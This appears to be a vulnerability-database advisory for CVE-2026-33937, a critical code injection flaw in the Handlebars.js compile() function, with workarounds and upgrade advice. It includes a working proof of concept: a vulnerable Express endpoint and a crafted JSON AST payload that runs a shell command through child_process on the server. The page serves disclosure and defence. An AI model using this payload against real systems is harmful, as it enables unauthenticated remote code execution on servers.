Skip to main content

Red Hat CVE-2026-33937

| EUVD-2026-16848 CRITICAL
Code Injection (CWE-94)
2026-03-27 https://github.com/handlebars-lang/handlebars.js GHSA-2w6w-674q-4c4q
9.8
CVSS 3.1
Share

CVSS VectorNVD

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
Attack Vector
Network
Attack Complexity
Low
Privileges Required
None
User Interaction
None
Scope
Unchanged
Confidentiality
High
Integrity
High
Availability
High

Lifecycle Timeline

4
EUVD ID Assigned
Mar 27, 2026 - 18:30 euvd
EUVD-2026-16848
Analysis Generated
Mar 27, 2026 - 18:30 vuln.today
Patch released
Mar 27, 2026 - 18:30 nvd
Patch available
CVE Published
Mar 27, 2026 - 18:19 nvd
CRITICAL 9.8

Blast Radius

ecosystem impact
† from your stack dependencies † transitive graph · vuln.today resolves 4-path depth
  • 3 npm packages depend on handlebars (1 direct, 2 indirect)

Ecosystem-wide dependent count for version 4.0.0.

DescriptionNVD

Summary

Handlebars.compile() accepts a pre-parsed AST object in addition to a template string. The value field of a NumberLiteral AST node is emitted directly into the generated JavaScript without quoting or sanitization. An attacker who can supply a crafted AST to compile() can therefore inject and execute arbitrary JavaScript, leading to Remote Code Execution on the server.

Description

Handlebars.compile() accepts either a template string or a pre-parsed AST. When an AST is supplied, the JavaScript code generator in lib/handlebars/compiler/javascript-compiler.js emits NumberLiteral values verbatim:

javascript
// Simplified representation of the vulnerable code path:
// NumberLiteral.value is appended to the generated code without escaping
compiledCode += numberLiteralNode.value;

Because the value is not wrapped in quotes or otherwise sanitized, passing a string such as {},{})) + process.getBuiltinModule('child_process').execFileSync('id').toString() // as the value of a NumberLiteral causes the generated eval-ed code to break out of its intended context and execute arbitrary commands.

Any endpoint that deserializes user-controlled JSON and passes the result directly to Handlebars.compile() is exploitable.

Proof of Concept

Server-side Express application that passes req.body.text to Handlebars.compile():

Javascript
import express from "express";
import Handlebars from "handlebars";

const app = express();
app.use(express.json());

app.post("/api/render", (req, res) => {
  let text = req.body.text;
  let template = Handlebars.compile(text);
  let result = template();
  res.send(result);
});

app.listen(2123);
POST /api/render HTTP/1.1
Content-Type: application/json
Host: 127.0.0.1:2123

{
  "text": {
    "type": "Program",
    "body": [
      {
        "type": "MustacheStatement",
        "path": {
          "type": "PathExpression",
          "data": false,
          "depth": 0,
          "parts": ["lookup"],
          "original": "lookup",
          "loc": null
        },
        "params": [
          {
            "type": "PathExpression",
            "data": false,
            "depth": 0,
            "parts": [],
            "original": "this",
            "loc": null
          },
          {
            "type": "NumberLiteral",
            "value": "{},{})) + process.getBuiltinModule('child_process').execFileSync('id').toString() //",
            "original": 1,
            "loc": null
          }
        ],
        "escaped": true,
        "strip": { "open": false, "close": false },
        "loc": null
      }
    ]
  }
}

The response body will contain the output of the id command executed on the server.

Workarounds

  • Validate input type before calling Handlebars.compile(): ensure the argument is always a string, never a plain object or JSON-deserialized value.
javascript
  if (typeof templateInput !== 'string') {
    throw new TypeError('Template must be a string');
  }
  • Use the Handlebars runtime-only build (handlebars/runtime) on the server if templates are pre-compiled at build time; compile() will be unavailable.

AnalysisAI

Remote code execution in Handlebars.js npm package allows unauthenticated attackers to execute arbitrary JavaScript on Node.js servers by injecting malicious payloads through crafted AST objects passed to Handlebars.compile(). The vulnerability (CWE-94 code injection) affects applications that accept user-controlled JSON and deserialize it as template input. …

Sign in for full analysis, threat intelligence, and remediation guidance.

RemediationAI

Within 24 hours: Identify all Node.js applications using Handlebars.js and document current versions via package-lock.json and npm audit. Within 7 days: upgrade Handlebars.js to version 4.7.9 or later across all affected applications and redeploy. …

Sign in for detailed remediation steps.

Vendor StatusVendor

Share

CVE-2026-33937 vulnerability details – vuln.today

This site uses cookies essential for authentication and security. No tracking or analytics cookies are used. Privacy Policy